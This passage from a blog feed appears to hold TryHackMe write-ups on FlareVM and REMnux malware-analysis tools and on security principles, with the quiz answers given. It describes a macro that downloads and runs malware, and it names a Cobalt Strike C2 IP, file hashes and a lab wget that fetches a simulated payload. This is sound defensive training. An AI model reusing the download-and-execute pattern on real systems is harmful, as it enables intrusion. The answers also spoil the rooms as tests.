&lt;li&gt;&lt;strong&gt;Forensics &amp;#x26; Incident Response&lt;/strong&gt;: Includes &lt;strong&gt;Volatility&lt;/strong&gt;, Rekall, and FTK Imager.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network Analysis&lt;/strong&gt;: Includes &lt;strong&gt;Wireshark&lt;/strong&gt;, Nmap, and Netcat.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File Analysis&lt;/strong&gt;: Includes FileInsight and HxD.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scripting &amp;#x26; Automation&lt;/strong&gt;: Includes Python and PowerShell Empire.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sysinternals Suite&lt;/strong&gt;: A collection of utilities including &lt;strong&gt;Autoruns&lt;/strong&gt;, &lt;strong&gt;Process Explorer&lt;/strong&gt;, and &lt;strong&gt;Process Monitor&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which tool is an Open-source debugger for binaries in x64 and x32 formats?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;x64dbg&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What tool is designed to analyze and edit Portable Executable (PE) files?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;CFF Explorer&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which tool is considered a sophisticated memory editor and process watcher?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Process Hacker&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which tool is used for Disc image acquisition and analysis for forensic use?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;FTK Imager&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What tool can be used to view and edit a binary file?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HxD&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Commonly Used Tools for Investigation: Overview&lt;/h2&gt;
&lt;p&gt;Introduces several basic tools used for initial digital forensics and malware investigations.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Procmon (Process Monitor)&lt;/strong&gt;: Tool for tracking system activity in real-time, including the &lt;strong&gt;file system, registry, and thread/process activity&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Process Explorer&lt;/strong&gt;: Allows you to see the &lt;strong&gt;process parent-child relationship&lt;/strong&gt;, DLLs loaded, and its path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HxD&lt;/strong&gt;: Xex editor used to examine or alter malicious files. An example shows how it can identify an executable by its starting bytes (&lt;strong&gt;4D 5A&lt;/strong&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;: Used for &lt;strong&gt;observing and investigating network traffic&lt;/strong&gt; to look for unusual activity.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CFF Explorer&lt;/strong&gt;: Can generate &lt;strong&gt;file hashes&lt;/strong&gt; for integrity verification and validate system files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PEStudio&lt;/strong&gt;: Used for &lt;strong&gt;static analysis&lt;/strong&gt;, which is studying executable file properties without running the files. It can show information like a file&apos;s &lt;strong&gt;entropy&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FLOSS (FLARE Obfuscated String Solver)&lt;/strong&gt;: &lt;strong&gt;Extracts and de-obfuscates all strings&lt;/strong&gt; from malware programs using advanced static analysis techniques.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which tool was formerly known as FireEye Labs Obfuscated String Solver?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;FLOSS&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which tool offers in-depth insights into the active processes running on your computer?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Process Explorer&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;By using the Process Explorer (procexp) tool, under what process can we find smss.exe?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;System&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which powerful Windows tool is designed to help you record issues with your system&apos;s apps?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Procmon&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which tool can be used for Static analysis or studying executable file properties without running the files?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PEStudio&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.BHzjnNXP_Zsrmbu.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using the tool PEStudio to open the file cryptominer.bin in the Desktop\Sample folder, what is the sha256 value of the file?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;E9627EBAAC562067759681DCEBA8DDE8D83B1D813AF8181948C549E342F67C0E&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Using the tool PEStudio to open the file cryptominer.bin in the Desktop\Sample folder, how many functions does it have?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;102&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What tool can generate file hashes for integrity verification, authenticate the source of system files, and validate their validity?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;CFF Explorer&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.Dar1Dz09_ZcRduA.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using the tool CFF Explorer to open the file possible_medusa.txt in the Desktop\Sample folder, what is the MD5 of the file?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;646698572AFBBF24F50EC5681FEB2DB7&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.D-6dTJe2_1FhsJM.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Use the CFF Explorer tool to open the file possible_medusa.txt in the Desktop\Sample folder. Then, go to the DOS Header Section. What is the e_magic value of the file?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;5A4D&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Analyzing Malicious Files&lt;/h2&gt;
&lt;p&gt;This task involves performing an analysis on a suspicious &lt;code&gt;windows.exe&lt;/code&gt; file, beginning with &lt;strong&gt;static analysis&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Using &lt;strong&gt;PEStudio&lt;/strong&gt;, several suspicious indicators are identified:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The file&apos;s metadata, claiming it&apos;s the &quot;Windows Registry Editor (REGEDIT),&quot; is suspicious due to its download location and the presence of Russian text.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;absence of a rich header&lt;/strong&gt; indicates the file is potentially packed or obfuscated.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;functions&lt;/strong&gt; tab lists blacklisted API calls related to process execution (&lt;code&gt;set_UseShellExecute&lt;/code&gt;) and cryptography (&lt;code&gt;CryptoStream&lt;/code&gt;, &lt;code&gt;RijndaelManaged&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Using &lt;strong&gt;FLOSS&lt;/strong&gt; with the command &lt;code&gt;FLOSS.exe .\windows.exe &gt; windows.txt&lt;/code&gt;, the extracted strings confirm the presence of the same functions found by PEStudio.&lt;/p&gt;
&lt;p&gt;The text then demonstrates dynamic analysis on a different file, &lt;code&gt;cobaltstrike.exe&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Process Explorer&lt;/strong&gt; is used to find the running process and check its &lt;code&gt;TCP/IP&lt;/code&gt; properties tab to identify network connections.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Procmon&lt;/strong&gt; is used with a filter to verify the connection. It confirms the binary was making a connection to an unknown IP address, &lt;code&gt;47.120.46.210&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.Dy_VXaWD_Z1TG95l.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using PEStudio, open the file windows.exe. What is the entropy value of the file windows.exe?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;7.999&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.B2p5Z_Ku_Z1P0KFt.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using PEStudio, open the file windows.exe, then go to manifest (administrator section). What is the value under requestedExecutionLevel?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;requireAdministrator&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which function allows the process to use the operating system&apos;s shell to execute other processes?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;set_UseShellExecute&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which API starts with R and indicates that the executable uses cryptographic functions?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;RijndaelManaged&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.CBCOBR0r_1NzLdb.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the Imphash of cobaltstrike.exe?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;92EEF189FB188C541CBD83AC8BA4ACF5&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-7.nVhGAk2X_Z1Tt01t.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the defanged IP address to which the process cobaltstrike.exe is connecting?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;47[.]120[.]46[.]210&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-8.ZF20Z8D3_Zh6GWp.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s open file .pcapng and apply the filter ip.addr == [IP_ADDRESS]&lt;/p&gt;
&lt;p&gt;What is the destination port number used by cobaltstrike.exe when connecting to its C2 IP Address?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;81&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;During our analysis, we found a process called cobaltstrike.exe. What is the parent process of cobaltstrike.exe?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;explorer.exe&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Conclusion&lt;/h2&gt;
&lt;p&gt;Fantastic Room!
No answer needed&lt;/p&gt;</content:encoded><h:img src="/_astro/image.BxT65hi9.png"/><enclosure url="/_astro/image.BxT65hi9.png"/></item><item><title>REMnux: Getting Started | TryHackMe Write-Up</title><link>https://farros.co/blog/remnux-getting-started-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/remnux-getting-started-tryhackme-write-up/</guid><description>Learn how you can use the tools inside the REMnux VM.</description><pubDate>Mon, 06 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/remnuxgettingstarted&quot;&gt;REMnux: Getting Started&lt;/a&gt; (Premium Room), learn how you can use the tools inside the REMnux VM. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;The REMnux VM is a specialised Linux distro that provides a sandbox-like environment for dissecting potentially malicious software without risking your primary system. It already includes tools like Volatility, YARA, Wireshark, oledump, and INetSim.&lt;/p&gt;
&lt;p&gt;Proceed with the next tasks to learn more!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Machine Access&lt;/h2&gt;
&lt;p&gt;To complete this task, we will use the AttackBox and the attached virtual machine.&lt;/p&gt;
&lt;p&gt;I&apos;m excited to learn more about the tools inside the REMnux VM!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: File Analysis&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.fpFHPJ09_zgRKt.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.B5y1W5KG_ZEhgxs.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Running &lt;code&gt;oledump.py agenttesla.xlsm&lt;/code&gt; shows the file&apos;s data streams. A stream marked with a capital &lt;strong&gt;M&lt;/strong&gt; indicates a Macro. To view the macro in a readable format, the command &lt;code&gt;oledump.py agenttesla.xlsm -s 4 --vbadecompress&lt;/code&gt; is used.&lt;/p&gt;
&lt;p&gt;Inside the decompressed script, a variable named &lt;strong&gt;Sqtnew&lt;/strong&gt; contains an obfuscated PowerShell command. This command is deobfuscated using &lt;strong&gt;CyberChef&apos;s Find/Replace&lt;/strong&gt; operation to remove the &lt;code&gt;*&lt;/code&gt; and &lt;code&gt;^&lt;/code&gt; characters.&lt;/p&gt;
&lt;p&gt;The final, deobfuscated PowerShell command uses &lt;strong&gt;Invoke-WebRequest&lt;/strong&gt; to download a file named &lt;code&gt;Doc-3737122pdf.exe&lt;/code&gt; from the IP address. It then uses &lt;strong&gt;Start-Process&lt;/strong&gt; to execute the downloaded file.&lt;/p&gt;
&lt;p&gt;What Python tool analyzes OLE2 files, commonly called Structured Storage or Compound File Binary Format?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;oledump.py&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What tool parameter we used in this task allows you to select a particular data stream of the file we are using it with?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;-s&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;During our analysis, we were able to decode a PowerShell script. What command is commonly used for downloading files from the internet?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Invoke-WebRequest&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What file was being downloaded using the PowerShell script?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Doc-3737122pdf.exe&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;During our analysis of the PowerShell script, we noted that a file would be downloaded. Where will the file being downloaded be stored?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;$TempFile&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.BHHAX3Kt_Z10ib0l.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using the tool, scan another file named possible_malicious.docx located in the /home/ubuntu/Desktop/tasks/agenttesla/ directory. How many data streams were presented for this file?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;16&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Using the tool, scan another file named possible_malicious.docx located in the /home/ubuntu/Desktop/tasks/agenttesla/ directory. At what data stream number does the tool indicate a macro present?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;8&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Fake Network to Aid Analysis&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.D7U5rkSi_Z1zickz.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.xXWJTDZ6_rARvS.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.BuM7qEhr_Z7Yvqq.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;This uses &lt;strong&gt;INetSim&lt;/strong&gt; (Internet Services Simulation Suite) to simulate a real network for dynamic analysis. It involves two machines: a &lt;strong&gt;REMnux VM&lt;/strong&gt; running INetSim and an &lt;strong&gt;AttackBox&lt;/strong&gt; to act as the client.&lt;/p&gt;
&lt;p&gt;First, INetSim is configured by editing &lt;code&gt;/etc/inetsim/inetsim.conf&lt;/code&gt; and changing the &lt;code&gt;dns_default_ip&lt;/code&gt; value to the REMnux machine&apos;s IP address. The simulation is then started with the command &lt;code&gt;sudo inetsim&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;From the AttackBox, malware behavior is mimicked by downloading a secondary file from the INetSim server using the &lt;code&gt;wget&lt;/code&gt; command, for example: &lt;code&gt;sudo wget https://10.201.58.151/second_payload.zip --no-check-certificate&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Finally, after stopping INetSim, it creates a &lt;strong&gt;connection report&lt;/strong&gt; in the &lt;code&gt;/var/log/inetsim/report/&lt;/code&gt; directory. This report can be read using the &lt;code&gt;cat&lt;/code&gt; command and shows all the connections made, including the requested URL, protocol, and the fake file that was served.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-7.DNCDfstg_Zp8m60.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-8.Czl-Ja6K_1NUW4J.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Download and scan the file named flag.txt from the terminal using the command sudo wget &lt;a href=&quot;https://10.201.58.151/flag.txt&quot;&gt;https://10.201.58.151/flag.txt&lt;/a&gt; --no-check-certificate. What is the flag?
Tryhcakme{______________}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-9.BGMZa-nv_Z2j73eJ.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-10.XKeRicK5_Z28pHzP.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;After stopping the inetsim, read the generated report. Based on the report, what URL Method was used to get the file flag.txt?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;get&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Memory Investigation: Evidence Preprocessing&lt;/h2&gt;
&lt;p&gt;This task covers the preprocessing of evidence from a memory image named &lt;code&gt;wcry.mem&lt;/code&gt; using the &lt;strong&gt;Volatility 3&lt;/strong&gt; tool.&lt;/p&gt;
&lt;p&gt;Several individual plugins are demonstrated, including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;windows.pstree.PsTree&lt;/code&gt;: Lists processes in a tree.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;windows.pslist.PsList&lt;/code&gt;: Lists all currently active processes.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;windows.cmdline.CmdLine&lt;/code&gt;: Lists process command line arguments.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To process the evidence in bulk, a &lt;strong&gt;&lt;code&gt;for&lt;/code&gt; loop&lt;/strong&gt; is used in the terminal to run multiple plugins at once and save each output to a separate text file. The command used is:
&lt;code&gt;for plugin in [plugin_list]; do vol3 -q -f wcry.mem $plugin &gt; wcry.$plugin.txt; done&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;What plugin lists processes in a tree based on their parent process ID?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PsTree&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What plugin is used to list all currently active processes in the machine?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PsList&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What Linux utility tool can extract the ASCII, 16-bit little-endian, and 16-bit big-endian strings?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Strings&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;By running vol3 with the Malfind parameter, what is the first (1st) process identified suspected of having an injected code?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;csrss.exe&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Continuing from the previous question (Question 4), what is the second (2nd) process identified suspected of having an injected code?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;winlogon.exe&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-11.DX5k5ixs_UE9IL.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;By running vol3 with the DllList parameter, what is the file path or directory of the binary @&amp;#x3C;WanaDecryptor@.exe&gt;?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;C:\Intel\ivecuqmanpnirkt615&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Conclusion&lt;/h2&gt;
&lt;p&gt;Fantastic room indeed!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.V7C1WnnV.png"/><enclosure url="/_astro/image.V7C1WnnV.png"/></item><item><title>Security Principles | TryHackMe Write-Up</title><link>https://farros.co/blog/security-principles-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/security-principles-tryhackme-write-up/</guid><description>Learn about the security triad and common security models and principles.</description><pubDate>Mon, 06 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/flarevmarsenaloftools&quot;&gt;Security Principles&lt;/a&gt;, learn about the security triad and common security models and principles. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;It is impossible to achieve perfect security, as no solution is 100% secure; therefore, the goal is to make it more difficult for adversaries to gain access.&lt;/p&gt;
&lt;p&gt;Think how you would describe something as secure.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: CIA&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.8R4ouNCa_MihtR.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidentiality&lt;/strong&gt; ensures that only the intended persons or recipients can access the data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Integrity&lt;/strong&gt; aims to ensure that the data cannot be altered, and that any alteration can be detected.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Availability&lt;/strong&gt; aims to ensure that the system or service is available when needed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Beyond the CIA security triad, two additional concepts are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Authenticity&lt;/strong&gt;: Ensuring that the data is from the claimed source.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nonrepudiation&lt;/strong&gt;: Ensuring that the original source cannot deny that they are the source of the data.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Donn Parker proposed the &lt;strong&gt;Parkerian Hexad&lt;/strong&gt;, a set of six security elements that includes the above and adds two more:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Utility&lt;/strong&gt;: Focuses on the usefulness of the information.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Possession&lt;/strong&gt;: Requires that we protect information from unauthorized taking, copying, or controlling.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.Diw2CLUP_1GUBHd.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.C9G1rvnA_Zutb31.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.BG64wD7g_ZArQrw.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.Bf9CDlXx_Z2fSvVM.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.BDahS901_1um7rB.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Click on &quot;View Site&quot; and answer the five questions. What is the flag that you obtained at the end?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{________}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: DAD&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-7.CNLGWcxF_Z1HNQBM.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;The opposite of the CIA Triad (Confidentiality, Integrity, Availability) is the &lt;strong&gt;DAD Triad&lt;/strong&gt;: &lt;strong&gt;Disclosure, Alteration, and Destruction&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Disclosure&lt;/strong&gt; is the opposite of confidentiality. An example is an attacker stealing medical records and dumping them online.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Alteration&lt;/strong&gt; is the opposite of Integrity. An example is an attacker modifying patient medical records, which could be life-threatening.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Destruction/Denial&lt;/strong&gt; is the opposite of Availability. An example is an attacker making database systems unavailable, stalling a whole facility.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The attacker managed to gain access to customer records and dumped them online. What is this attack?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Disclosure&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A group of attackers were able to locate both the main and the backup power supply systems and switch them off. As a result, the whole network was shut down. What is this attack?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Destruction/Denial&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Fundamental Concepts of Security Models&lt;/h2&gt;
&lt;p&gt;Three foundational security models used to create systems that ensure security functions.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Bell-LaPadula Model&lt;/strong&gt;: Aims to achieve &lt;strong&gt;confidentiality&lt;/strong&gt;. Its primary rules are the &quot;Simple Security Property&quot; (&lt;strong&gt;no read up&lt;/strong&gt;), which states a subject at a lower security level cannot read an object at a higher level, and the &quot;Star Security Property&quot; (&lt;strong&gt;no write down&lt;/strong&gt;), which states a subject at a higher level cannot write to an object at a lower level.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Biba Model&lt;/strong&gt;: Aims to achieve &lt;strong&gt;integrity&lt;/strong&gt;. Its primary rules are the &quot;Simple Integrity Property&quot; (&lt;strong&gt;no read down&lt;/strong&gt;), where a higher integrity subject should not read from a lower integrity object, and the &quot;Star Integrity Property&quot; (&lt;strong&gt;no write up&lt;/strong&gt;), where a lower integrity subject should not write to a higher integrity object.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Clark-Wilson Model&lt;/strong&gt;: Also aims to achieve &lt;strong&gt;integrity&lt;/strong&gt;. It uses concepts like the &lt;strong&gt;Constrained Data Item (CDI)&lt;/strong&gt;, &lt;strong&gt;Unconstrained Data Item (UDI)&lt;/strong&gt;, &lt;strong&gt;Transformation Procedures (TPs)&lt;/strong&gt;, and &lt;strong&gt;Integrity Verification Procedures (IVPs)&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-8.DfXwG6Rh_1RFxr.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-9.D1rRCy-a_Z2kSekd.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-10.DeJTHEKq_ZyKEJB.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-11.BfrSfPyK_1Ls1SV.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Click on &quot;View Site&quot; and answer the four questions. What is the flag that you obtained at the end?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{_______________}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Defence-in-Depth&lt;/h2&gt;
&lt;p&gt;Defence-in-Depth refers to creating a security system of multiple levels; hence it is also called Multi-Level Security.&lt;/p&gt;
&lt;p&gt;Make sure you have read the above.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: ISO/IEC 19249&lt;/h2&gt;
&lt;p&gt;Lists five &lt;strong&gt;architectural principles&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
